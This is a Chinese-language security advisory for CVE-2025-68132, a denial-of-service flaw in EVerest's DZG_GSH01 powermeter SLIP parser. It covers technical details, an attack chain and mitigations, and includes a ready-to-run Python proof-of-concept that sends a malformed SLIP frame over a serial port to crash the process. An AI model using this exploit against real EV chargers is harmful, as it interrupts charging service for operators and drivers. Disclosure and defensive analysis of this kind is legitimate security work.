IPBUF安全漏洞报告
English
CVE-2025-68132 CVSS 4.6 中危

CVE-2025-68132 EVerest SLIP解析器缓冲区下溢漏洞

披露日期: 2026-01-21

漏洞信息

漏洞编号
CVE-2025-68132
漏洞类型
缓冲区下溢/越界读取
CVSS评分
4.6 中危
攻击向量
物理 (AV:P)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
EVerest (EV充电软件栈), DZG_GSH01 powermeter

相关标签

缓冲区下溢越界读取SLIP解析器EVerestEV充电DZG_GSH01串口通信拒绝服务CVE-2025-68132物理攻击向量

漏洞概述

CVE-2025-68132是EVerest EV充电软件栈中存在的缓冲区下溢漏洞。在2025.12.0之前的版本中,DZG_GSH01 powermeter的SLIP解析器中的is_message_crc_correct函数存在边界检查缺陷。该函数在访问向量元素时未验证向量是否包含至少2个字节,攻击者可通过物理串口发送畸形SLIP帧,当帧数据长度小于2字节时触发越界读取访问,并导致pop_back操作发生下溢。由于该漏洞仅可通过多消息路径触发,攻击者可以可靠地使目标进程崩溃,造成拒绝服务。此漏洞的利用需要物理接触目标系统的串口接口,但无需认证即可实施攻击。EVerest作为开源EV充电软件栈,被广泛应用于电动汽车充电基础设施中,该漏洞可能影响充电站的稳定运行。

技术细节

漏洞位于EVerest项目中everest-core框架的DZG_GSH01 powermeter组件SLIP解析器代码。具体问题出在is_message_crc_correct函数中,代码直接访问vec[vec.size()-1]和vec[vec.size()-2]进行CRC校验,未事先检查vec.size()是否大于等于2。当通过多消息路径接收到畸形SLIP帧时,如果帧数据不足2字节,访问操作将发生越界读取。随后代码执行pop_back操作时,由于向量长度不足2,第二次pop_back将导致下溢错误。这种内存访问违规会触发未定义行为,在大多数情况下会导致进程立即崩溃。攻击者需要构造一个特殊的SLIP帧,其数据部分长度设置为0或1字节,然后通过串口连接将此畸形帧发送给目标EVerest系统。成功利用后,进程会因内存访问违规而终止,造成充电服务中断。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标EVerest系统,特别是DZG_GSH01 powermeter组件及其串口连接。攻击需要物理接触串口接口。
STEP 2
步骤2: 构造畸形SLIP帧
攻击者构造一个畸形SLIP帧,将数据负载长度设置为小于2字节(如0或1字节),以触发is_message_crc_correct函数中的边界检查缺陷。
STEP 3
步骤3: 通过串口发送恶意数据
攻击者通过物理连接的串口接口将畸形SLIP帧发送给目标EVerest系统。SLIP协议使用0xC0作为帧开始和结束标记。
STEP 4
步骤4: 触发缓冲区下溢
目标系统的SLIP解析器接收到畸形帧后,is_message_crc_correct函数尝试访问vec[vec.size()-1]和vec[vec.size()-2],由于向量长度不足2字节,发生越界读取。
STEP 5
步骤5: 进程崩溃/拒绝服务
后续的pop_back操作进一步加剧下溢,导致未定义内存访问行为,进程因内存访问违规而崩溃,造成充电服务中断。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-68132 PoC - EVerest SLIP Parser Buffer Underflow This PoC generates a malformed SLIP frame to trigger buffer underflow in EVerest's DZG_GSH01 powermeter SLIP parser. """ import serial import struct def create_malformed_slip_frame(payload_size): """ Create a malformed SLIP frame with insufficient payload size. SLIP frame format: END byte + data + END byte """ # SLIP END character (0xC0) END = 0xC0 ESC = 0xDB ESC_END = 0xDC ESC_ESC = 0xDD # Create payload with size < 2 to trigger the bug payload = b'\x00' * payload_size # Encode payload with SLIP escaping (simplified) encoded_payload = b'' for byte in payload: if byte == END: encoded_payload += bytes([ESC, ESC_END]) elif byte == ESC: encoded_payload += bytes([ESC, ESC_ESC]) else: encoded_payload += bytes([byte]) # Construct SLIP frame: END + encoded_payload + END slip_frame = bytes([END]) + encoded_payload + bytes([END]) return slip_frame def exploit(target_device='/dev/ttyUSB0', baudrate=115200): """ Send malformed SLIP frame to trigger buffer underflow. """ print(f"[*] Targeting: {target_device} at {baudrate} baud") print("[*] Creating malformed SLIP frame with payload size = 1") # Create frame with payload size = 1 (less than 2 required) malicious_frame = create_malformed_slip_frame(payload_size=1) print(f"[*] Malicious frame length: {len(malicious_frame)} bytes") print(f"[*] Frame hex: {malicious_frame.hex()}") try: ser = serial.Serial(target_device, baudrate, timeout=1) print("[*] Serial connection established") # Send the malformed SLIP frame ser.write(malicious_frame) print("[*] Malformed SLIP frame sent") print("[*] Target process should crash due to buffer underflow") ser.close() except serial.SerialException as e: print(f"[-] Error: {e}") return False return True if __name__ == "__main__": # Target configuration - modify for your environment exploit(target_device='/dev/ttyUSB0', baudrate=115200)

影响范围

EVerest everest-core < 2025.12.0

防御指南

临时缓解措施
在无法立即升级的情况下,可采取以下临时缓解措施:1) 限制对EVerest系统串口接口的物理访问,仅允许授权人员接触;2) 在串口上游部署过滤器,检查SLIP帧数据长度是否满足最小要求,拒绝长度小于2字节的帧;3) 监控进程运行状态,设置自动重启机制以快速恢复服务;4) 考虑在网络层面隔离充电站系统,减少物理接触风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表